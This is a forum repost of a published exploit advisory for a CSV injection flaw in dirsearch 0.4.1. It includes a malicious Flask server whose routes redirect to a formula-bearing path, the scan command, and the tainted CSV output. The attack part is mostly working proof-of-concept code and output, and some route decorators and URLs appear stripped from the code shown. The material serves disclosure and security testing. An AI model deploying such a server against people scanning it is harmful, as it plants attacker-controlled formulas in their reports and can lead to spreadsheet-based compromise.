Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

dirsearch 0.4.1 - CSV Injection


Recommended Posts

# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13

dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.

Malicious Flask Webserver:

from flask import Flask, redirect
app = Flask(__name__)

def index():
 return redirect('/test,=1336+1')

def admin():
 return redirect('/test,=1336+1')

def login():
 return redirect('/test,=1336+1')

2. Tester runs dirsearch
root@host:~/# python3 dirsearch.py -u --csv-report=report.csv 

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 30 | Wordlist size: 2

Error Log: /root/tools/dirsearch/logs/errors-21-01-06_04-29-10.log


Output File: /root/tools/dirsearch/reports/

[04:29:10] Starting: 
[04:29:11] 302 -  233B  - /admin  ->,=1336+1
[04:29:11] 302 -  233B  - /login  ->,=1336+1

3. Result CSV

root@host:~/# cat report.csv

Wed Jan  6 04:29:11 2021,,302,233,,=1336+1
Wed Jan  6 04:29:11 2021,,302,233,,=1336+1
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...